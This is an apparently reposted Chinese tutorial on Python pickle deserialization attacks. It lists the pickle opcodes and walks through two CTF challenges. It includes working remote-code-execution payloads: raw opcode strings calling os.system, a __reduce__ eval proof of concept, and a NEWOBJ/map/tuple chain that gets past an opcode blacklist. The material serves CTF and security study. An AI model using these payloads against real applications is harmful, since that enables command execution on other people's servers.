Pickle反序列化攻击手法详解(Python)

2026-04-11 14:351阅读0评论SEO基础
  • 内容介绍
  • 文章标签
  • 相关推荐
问题描述:

Pickle

pickle反序列化比java和php的危害要大不少
因为利用起来比较容易,很轻松可以RCE
实际应用场景中经常和其它基础漏洞配合起来使用
例如ssrf写redis序列化数据后被反序列化出恶意对象等
在很多比赛或漏挖中出现的llm应用也经常和pickle相关

能够序列化的对象

  • None
  • bool
  • int,float,complex
  • 元素全部为可打包对象的tuplelistsetdict
  • 函数
    • 使用def定义的模块顶层的函数(lambda不行)
    • 内置函数
    • 使用class定义在模块顶层的
  • 实例对象
    • __dict__属性和__getstate__()函数的返回值为可序列化对象

PS:对于不能序列化的数据会抛出PicklingError异常

opcode和Bytecode

pickle的序列化数据是一段字节流

字节流由一系列pickle opcode(直译就是操作码)组成

是一种独立的栈语言,

Python Bytecode (.pyc): 是给 PVM (Python Virtual Machine) 看的,用于通用的程序逻辑

例如:

def add(a, b): return a + b

转换成指令流:

2 0 LOAD_FAST 0 (a) 2 LOAD_FAST 1 (b) 4 BINARY_ADD 6 RETURN_VALUE

这整个指令流被称为Bytecode

其中的每一个指令称为opcode

而类似LOAD_FAST的单个指令就是一个普遍的opcode

Pickle Opcode

Pickle Opcode: 是给 Unpickler (Pickle 虚拟机) 看的,专门用于构建对象
刚刚介绍的正常opcode包含很多复杂的指令逻辑例如做加法 (BINARY_ADD)、比较大小 (COMPARE_OP)、循环 (JUMP_ABSOLUTE)。

pickleopcode能力主要围绕数据构建和对象恢复
但也有调用函数的能力
以下是大部分常见pickle opcode

Opcode (Char/Hex) Name Description (功能描述)
基础控制与数值
. (0x2e) STOP 结束 Pickle 流,反序列化完成
N (0x4e) NONE 推送 None 到栈顶
I (0x49) INT 推送整数 (文本格式)
F (0x46) FLOAT 推送浮点数 (文本格式)
S (0x53) STRING 推送字符串 (带引号的文本格式)
V (0x56) UNICODE 推送 Unicode 字符串
K (0x4b) BININT1 推送 1 字节无符号整数
M (0x4d) BININT2 推送 2 字节无符号整数
J (0x4a) BININT 推送 4 字节有符号整数
容器构建 (List/Dict/Tuple)
( (0x28) MARK 推送标记 (Mark) 到栈顶,用于界定容器边界
l (0x6c) LIST 构建列表 (从栈顶直到 Mark)
d (0x64) DICT 构建字典 (从栈顶直到 Mark)
t (0x74) TUPLE 构建元组 (从栈顶直到 Mark)
] (0x5d) EMPTY_LIST 推送一个空列表
} (0x7d) EMPTY_DICT 推送一个空字典
a (0x61) APPEND 将栈顶元素 append 到栈顶下方的列表中
e (0x65) APPENDS 批量 append (从 Mark 开始) 到列表
s (0x73) SETITEM 设置字典键值对 (key, value)
u (0x75) SETITEMS 批量设置字典键值对 (从 Mark 开始)
对象与类
c (0x63) GLOBAL 导入模块和类 (Module.Class) 并推送到栈
R (0x52) REDUCE 调用可调用对象 (通常用于通过类和参数重建对象)
b (0x62) BUILD 调用 __setstate__ 或更新 __dict__ 来恢复对象状态
o (0x6f) OBJ 构建类实例 (旧协议,基于栈上的类和参数)
i (0x69) INST 实例化对象 (相当于 GLOBAL + MARK + BUILD 的旧版组合)
\x81 (0x81) NEWOBJ (Proto 2+) 直接创建新对象实例 (不调 __init__)
Memoization (记忆/引用)
p (0x70) PUT 将栈顶对象存入 memo (文本索引)
q (0x71) BINPUT 将栈顶对象存入 memo (1字节二进制索引)
r (0x72) LONG_BINPUT 将栈顶对象存入 memo (4字节二进制索引)
g (0x67) GET 从 memo 获取对象 (文本索引)
h (0x68) BINGET 从 memo 获取对象 (1字节二进制索引)
栈操作
0 (0x30) POP 弹出栈顶元素
2 (0x32) DUP 复制栈顶元素

这里用一个简单的最常规的命令执行来举例:

opcode=b'''cos system (S'whoami' tR.''' cos system #字节码为c,形式为c[moudle]\n[instance]\n,导入os.system。并将函数压入stack (S'ls' #字节码为(,向stack中压入一个MARK。字节码为S,示例化一个字符串对象'whoami'并将其压入stack tR. #字节码为t,寻找栈中MARK,并组合之间的数据为元组。然后通过字节码R执行os.system('whoami') #字节码为.,程序结束,将栈顶元素os.system('ls')作为返回值

这里的栈是pickle模块内部的一个列表

“压入栈”实际就是append进列表

过程模拟:

第一步

os.system <--- 栈顶

第二步

(MARK) <--- 栈顶 os.system

第三步

'whoami' <--- 栈顶 (MARK) os.system

第四步t构建元组

('whoami',) <--- 栈顶 (这是一个元组,作为参数列表) os.system

第五步R执行函数,要求栈顶为参数元组,栈顶的下面一个元素为可执行函数

第六步.停止

那么了解这个过程后拓展其余的执行函数的过程就很清晰了


字节码o:

opcode3=b'''(cos system S'whoami' o.'''

用上一个mark上的第一个数据(必须是可执行函数)为函数

以第2~n个数据为函数参数执行


字节码i:

opcode2=b'''(S'whoami' ios system .'''

用类似c的方式获取到一个可执行函数,然后寻找上一个mark,以mark和自身之间的入栈数据作为元组,以元组作为参数执行

相当于元组和可执行函数的位置需要调换,且自带执行能力

例题

2024极客大挑战-ez_python

常规注册登录,暂时没有发现可攻击的点
但登录后提示查看:/starven_s3cret
成功获得源码:

import os import secrets from flask import Flask, request, render_template_string, make_response, render_template, send_file import pickle import base64 import black app = Flask(__name__) #To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义 @app.route('/') def index(): return render_template_string(open('templates/index.html').read()) @app.route('/register', methods=['GET', 'POST']) def register(): if request.method == 'POST': usname = request.form['username'] passwd = request.form['password'] if usname and passwd: heart_cookie = secrets.token_hex(32) response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart") response.set_cookie('heart', heart_cookie) return response return render_template('register.html') @app.route('/login', methods=['GET', 'POST']) def login(): heart_cookie = request.cookies.get('heart') if not heart_cookie: return render_template('warning.html') if request.method == 'POST' and request.cookies.get('heart') == heart_cookie: statement = request.form['statement'] try: heal_state = base64.b64decode(statement) print(heal_state) for i in black.blacklist: if i in heal_state: return render_template('waf.html') pickle.loads(heal_state) res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!") flag = os.getenv("GEEK_FLAG") or os.system("cat /flag") os.system("echo " + flag + " > /flag") return res except Exception as e: print( e) pass return "Error!!!! give you hint: maybe you can view /starven_s3cret" return render_template('login.html') @app.route('/monologue',methods=['GET','POST']) def joker(): return render_template('joker.html') @app.route('/starven_s3cret', methods=['GET', 'POST']) def secret(): return send_file(__file__,as_attachment=True) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=False)

可见是一个pickle注入题目
而登录时对starven说的话就是需要注入的内容,需要base64加密
那么构造如下poc:

import pickle import base64 print(base64.b64encode(pickle.dumps("111"))) import pickle import os import base64 import requests class aaa(): def __reduce__(self): try: print(111) return (eval,("__import__('os').system('xxx')",)) except: pass a = aaa() print(base64.b64encode(pickle.dumps(a))) pickle.loads(base64.b64decode("gASVOQAAAAAAAACMAm50lIwGc3lzdGVtlJOUjCFlY2hvICIyMjIiPiBmaW5kIC1uYW1lIGpva2VyLmh0bWyUhZRSlC4="))

即可执行任意命令,本想弹shell,结果弹shell的各种方法被过滤,
另寻他法后发现index.html的文件位置精确的暴露了,那么我们只要将执行命令的回显写入即可:

return (eval,("__import__('os').system('env > templates/index.html')",))

再回到首页即可成功获得flag
当然预期解的打法那就是写内存马

2025TSGCTF SafePickle

环境源码:

import pickle, pickletools BANNED_OPS = [ "EXT1", "EXT2", "EXT4", "REDUCE", "INST", "OBJ", "PERSID", "BINPERSID", ] data = bytes.fromhex(input("input pickle (hex)> ")) try: for opcode, arg, pos in pickletools.genops(data): if opcode.name in BANNED_OPS: print(f"Banned opcode used: {opcode.name}") exit(0) except Exception as e: print("Error :(") exit(0) print(pickle.loads(data))

首先分析一下waf

过滤了REDUCEINSTOBJ,也就意味着我们无法直接使用__reduce__魔术方法来dump一把梭payload了

只能手动构造,且RIO操作码都使用不了了

直接构造opcode进行攻击

payload = b'\x80\x03' payload += b'cbuiltins\ntuple\n' payload += b'cbuiltins\nmap\n' payload += b'(' payload += b'cos\nsystem\n' payload += b'(' payload += b'S\'cat flag.txt\'\n' payload += b'l' payload += b't' payload += b'\x81' payload += b'\x85' payload += b'\x81' payload += b'.' print(payload.hex())

可以取几个关键节点来分析对应步骤的栈内结构

这里首先使用\x80\x03设置了协议为3,不过实际测试似乎不唯一

到操作码l之前:

'cat flag.txt' (mark) os.system (mark) builtins.map builtins.tuple

操作码l将栈顶到最近的mark的数据组合成列表

['cat flag.txt'] os.system (mark) builtins.map builtins.tuple

操作码t压为元组:

(os.system,['cat flag.txt']) builtins.map builtins.tuple

操作码\81可以实例化类,弹出两个元素,第一个元素作为传入参数,第二个元素作为被实例化的类

这里实际执行:

map.__new__(map, os.system, ['cat flag.txt'])

操作码\85弹出一个元素压为元组

此时的栈:

(<map object>,) builtins.tuple

再次使用操作码\81实例化tuple

最后实现的操作实际上是

tuple(map(os.system, ['cat flag.txt']))

这里触发代码执行的思路和java反序列化中cc链有异曲同工之妙

都是先给map对象传递一个可执行函数转换器,当有新的数据进入时会先经过转换器转换

实际上触发了执行:

os.system('cat flag.txt')

pickle完整操作码表

Hex ASCII Name Description (中文描述) ================================================================================ # 基础通用指令 (Protocol 0 - 1) - 大多对应可见字符 -------------------------------------------------------------------------------- \x28 ( MARK 压入标记对象 (MARK),用于界定列表/元组范围 \x29 ) EMPTY_TUPLE 压入一个空元组 \x2e . STOP 反序列化结束 (Stop),返回栈顶元素 \x30 0 POP 弹出(丢弃)栈顶元素 \x31 1 POP_MARK 弹出栈顶直到遇到标记 (MARK) 并丢弃 \x32 2 DUP 复制栈顶元素并再次压入 \x46 F FLOAT 压入浮点数 (文本格式) \x47 G BINFLOAT 压入浮点数 (8字节二进制格式) \x49 I INT 压入整数 (文本格式) \x4a J BININT 压入4字节有符号整数 \x4b K BININT1 压入1字节无符号整数 \x4c L LONG 压入长整数 \x4d M BININT2 压入2字节无符号整数 \x4e N NONE 压入 None \x50 P PERSID 压入持久化ID对象 \x51 Q BINPERSID 压入持久化ID对象 (二进制) \x52 R REDUCE 执行函数 (取出栈顶元组作为参数,次栈顶作为函数执行) \x53 S STRING 压入字符串 (文本格式,引号包裹) \x54 T BINSTRING 压入字符串 (二进制格式) \x55 U SHORT_BINSTRING 压入短字符串 (长度 < 256) \x56 V UNICODE 压入 Unicode 字符串 \x58 X BINUNICODE 压入 Unicode 字符串 (二进制) \x5d ] EMPTY_LIST 压入一个空列表 \x61 a APPEND 将对象追加到列表 (stack[-1] append to stack[-2]) \x62 b BUILD 通过 setstate 或 dict 更新构建对象 \x63 c GLOBAL 导入全局对象 (格式: module\nname\n) \x64 d DICT 构建字典 (从 MARK 开始) \x65 e APPENDS 扩展列表 (将切片扩展到列表) \x66 f PUT (已废弃) 同 PUT \x67 g GET 从 Memo 获取对象 (文本索引) \x68 h BINGET 从 Memo 获取对象 (1字节二进制索引) \x69 i INST 构建类实例 (相当于 c + o) \x6a j LONG_BINGET 从 Memo 获取对象 (4字节二进制索引) \x6c l LIST 构建列表 (从 MARK 开始) \x6f o OBJ 构建类对象 (利用栈上的参数) \x70 p PUT 存入 Memo (文本索引) \x71 q BINPUT 存入 Memo (1字节二进制索引) \x72 r LONG_BINPUT 存入 Memo (4字节二进制索引) \x73 s SETITEM 字典赋值 (d[k]=v) \x74 t TUPLE 构建元组 (从 MARK 开始) \x75 u SETITEMS 字典批量赋值 \x7d } EMPTY_DICT 压入一个空字典 # 二进制扩展指令 (Protocol 2, 3, 4+) - 无 ASCII 对应 -------------------------------------------------------------------------------- \x80 N/A PROTO 声明协议版本 (如 \x80\x03) \x81 N/A NEWOBJ 实例化类 (调用 __new__,WAF 绕过神器) \x82 N/A EXT1 扩展代码 (1字节) \x83 N/A EXT2 扩展代码 (2字节) \x84 N/A EXT4 扩展代码 (4字节) \x85 N/A TUPLE1 构建单元素元组 (无需 MARK) \x86 N/A TUPLE2 构建双元素元组 (无需 MARK) \x87 N/A TUPLE3 构建三元素元组 (无需 MARK) \x88 N/A NEWTRUE 压入 True \x89 N/A NEWFALSE 压入 False \x8a N/A LONG1 长整数 (1字节长度前缀) \x8b N/A LONG4 长整数 (4字节长度前缀) \x8c N/A SHORT_BINUNICODE 短 Unicode 字符串 (长度 < 256) \x8d N/A BINUNICODE8 长 Unicode 字符串 (8字节长度前缀) \x8e N/A BINBYTES8 长 Bytes 对象 (8字节长度前缀) \x8f N/A EMPTY_SET 压入空集合 (Set) \x90 N/A ADDITEMS 向集合添加元素 \x91 N/A FROZENSET 构建不可变集合 (Frozenset) \x92 N/A NEWOBJ_EX 实例化类 (带关键字参数) \x93 N/A STACK_GLOBAL 栈上导入全局对象 (Protocol 4+) \x94 N/A MEMOIZE 自动存入 Memo (无需指定索引) \x95 N/A FRAME 帧标记 (用于分块传输) \x96 N/A BYTEARRAY8 压入 ByteArray 对象 \x97 N/A NEXT_BUFFER 压入带外缓冲区 (Pickle 5) \x98 N/A READONLY_BUFFER 设为只读缓冲区 (Pickle 5)

参考

枫のBlog – 6 Apr 22

Pickle反序列化 - 枫のBlog

前置知识 什么是Pickle? pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似…

网友解答:
--【壹】--:

太强了佬!


--【贰】--:

太强了!